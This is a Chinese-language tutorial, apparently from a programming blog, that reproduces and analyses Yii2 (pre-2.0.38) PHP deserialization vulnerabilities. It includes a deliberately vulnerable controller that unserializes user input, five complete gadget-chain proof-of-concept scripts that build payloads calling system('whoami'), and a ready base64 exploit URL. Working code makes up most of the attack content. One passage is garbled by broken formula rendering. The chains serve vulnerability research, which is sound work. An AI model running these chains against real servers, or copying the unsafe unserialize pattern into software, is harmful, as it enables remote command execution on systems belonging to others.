Java教程

yii2 反序列化漏洞复现与分析

本文主要是介绍yii2 反序列化漏洞复现与分析,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

环境搭建

漏洞在yii2.0.38之前的版本,下载2.0.37basic版本

https://github.com/yiisoft/yii2/releases/tag/2.0.37

修改/config/web文件的值

image-20211129162401843

在当前目录输入php yii serve启动

image-20211129162548549

复现

先构造反序列化的入口

新建一个controller

<?php


namespace app\controllers;


class SerController extends \yii\web\Controller
{
    public function actionSer($data){
        return unserialize(base64_decode($data));

    }
}

image-20211129163721102

poc

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

提交

http://localhost:8080/?r=ser/ser&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX19

image-20211129163822424

分析

复现链一

入口是BatchQueryResult的destruct

image-20211129164323208

跟进reset

image-20211129164344037

这里的_dataReader是可控的,并且调用了close方法,我们可以寻找有__call方法的类,当此类的对象中调用不存在的方法时会调用__call方法

全局搜索__call,找到\vendor\fzaninotto\faker\src\Faker\Generator.php中可用的方法

image-20211129164949076

close为无参函数,最终调用为format(close)

跟进format

image-20211129165309978

继续跟进getFormatter

image-20211129165412311

formatters是我们可控的,所以这个函数的返回值是我们可控的,那么call_user_func_array的第一个参数就是可控的,但第二个参数是空的,所以我们要找到可用的无参函数,或者单纯的调用phpinfo()这种无参函数。

可使用正则寻找无参函数

function \w+\(\)

image-20211129165918198

大佬的思路是搜索call_user_func函数

function \w*\(\)\n? *\{(.*\n)+ *call_user_func

image-20211129170428647

rest/IndexAction.php比较好利用

image-20211129170538368

checkAccessid都是可控的,我们可以调用任意方法了。

复现链二

还是以BatchQueryResult类的__destruct为入口,但不利用__call了,直接找可利用的close函数

找到advanced\vendor\yiisoft\yii2\web\DbSession.php这个类中的close()方法

image-20211129213554142

跟进composeFields()

    protected function composeFields($id = null, $data = null)
    {
        $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
        if ($id !== null) {
            $fields['id'] = $id;
        }
        if ($data !== null) {
            $fields['data'] = $data;
        }
        return $fields;
    }
  • 如果传递一个数组给 call_user_func_array(),数组的每个元素的值都会当做一个参数传递给回调函数。
  • 如果传递一个数组给 call_user_func(),整个数组会当做一个参数传递给回调函数,数字的 key 还会保留住。

call_user_func($this->writeCallback, $this) 且writeCallback可控,然后再利用这个调用上面链里的run方法就行

poc

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace yii\db{

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{

    use yii\rest\IndexAction;

    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $this->writeCallback=[new IndexAction(),'run'];
        }
    }
}

namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

image-20211129214059163

复现链三

https://github.com/yiisoft/yii2/compare/2.0.37…2.0.38

2.0.38,增加了__wakeup(),所以BatchQueryResult不能再反序列化了

image-20211129175422087

那我们可以再找个新的反序列化入口

全局搜索__destruct发现了RunProcess类可以利用

image-20211129175646025

跟进

image-20211129175845274

这里的process是可控的,我们照样可以利用之前的链调用__call方法

poc

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['isRunning'] = [new IndexAction(), 'run'];
        }
    }
}
namespace Codeception\Extension{

    use Faker\Generator;

    class RunProcess
    {
        private $processes = [];
        public function __construct(){
            $this->processes[]=new Generator();
        }
    }
}
namespace{


    use Codeception\Extension\RunProcess;

    echo base64_encode(serialize(new RunProcess()));
}

利用成功

image-20211129180202878

复现链四

lib\classes\Swift\KeyCache\DiskKeyCache.php 中的destruct也可以作为入口

image-20211129202149621

跟进

image-20211129202304871

其中涉及到了字符串拼接,可以寻找__toString方法

see.php中的__toString可以利用

    public function __toString() : string
    {
        return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
    }
}

$this->description是我们可控的,这里又可以调用__call

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['render'] = [new IndexAction(), 'run'];
        }
    }
}
namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See
    {
        protected $description;
        public function __construct(){
            $this->description=new Generator();
        }
    }
}

namespace{

    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache
    {
        private $keys = [];
        private $path;
        public function __construct(){
            $this->path=new See();
            $this->keys=array(
                'hello'=>'world'
            );
        }
    }

    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

image-20211129203207033

在寻找过程中发现还有的可以利用,但有的尝试后会错误,貌似是__toString中不能引起异常,有点迷…

然后看到了信师傅https://zhuanlan.zhihu.com/p/257811755说是视图错误不回显,命令是执行了的,但我试的那一个还是没成功运行命令,麻了…

复现链五

这个链之前有个比赛出过

同样也是vendor/codeception/codeception/ext/RunProcess.php__destruct为入口

    public function __destruct()
    {
        $this->stopProcess();
    }

    public function stopProcess()
    {
        foreach (array_reverse($this->processes) as $process) {
            /** @var $process Process  **/
            if (!$process->isRunning()) {
                continue;
            }
            $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
            $process->stop();
        }
        $this->processes = [];
    }
}

通过isRunning()调用__call方法

之前是用vendor/fakerphp/faker/src/Faker/Generator.php调用__call 方法,但新版本调用了wakeup做限制

public function __wakeup()
    {
        $this->formatters = [];
    }

这里使用

**vendor/fakerphp/faker/src/Faker/ValidGenerator.php**的类__call

    public function __call($name, $arguments)
    {
        $i = 0;
        do {
            $res = call_user_func_array(array($this->generator, $name), $arguments);
            $i++;
            if ($i > $this->maxRetries) {
                throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
            }
        } while (!call_user_func($this->validator, $res));

        return $res;
    }
}

$this->generator,$this->validator,$this->maxRetries,都可控,但这没啥用,name的值固定了,所以还是利用只能这个调用其它函数的__call,但再次调用其它的call不如直接就调用那个call。

不过vendor/fakerphp/faker/src/Faker/DefaultGenerator.php中的call可以返回任意值(default可控

image-20211129223544532

可以将 t h i s − > d e f a u l t 设 置 为 我 们 的 命 令 , 那 r e s 的 值 就 是 我 们 的 命 令 , 再 控 制 this->default设置为我们的命令,那res的值就是我们的命令,再控制 this−>default设置为我们的命令,那res的值就是我们的命令,再控制this->validator为system就可以执行任意命令了

poc

<?php
namespace Faker{

    class DefaultGenerator{
        protected $default ;
        function __construct($argv)
        {
            $this->default = $argv;
        }
    }

    class ValidGenerator{
        protected $generator;
        protected $validator;
        protected $maxRetries;
        function __construct($command,$argv)
        {
            $this->generator = new DefaultGenerator($argv);
            $this->validator = $command;
            $this->maxRetries = 99999999;
        }
    }
}

namespace Codeception\Extension{
    use Faker\ValidGenerator;
    class RunProcess{
        private $processes = [] ;
        function __construct($command,$argv)
        {
            $this->processes[] = new ValidGenerator($command,$argv);
        }
    }
}

namespace {
    use Codeception\Extension\RunProcess;
    $exp = new RunProcess('system','whoami');
    echo(base64_encode(serialize($exp)));
    exit();
}

image-20211129224113457

参考

https://blog.csdn.net/qq_43571759/article/details/108804083

https://zhuanlan.zhihu.com/p/257811755

https://www.anquanke.com/post/id/217929#h2-3

https://xz.aliyun.com/t/9420

这篇关于yii2 反序列化漏洞复现与分析的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!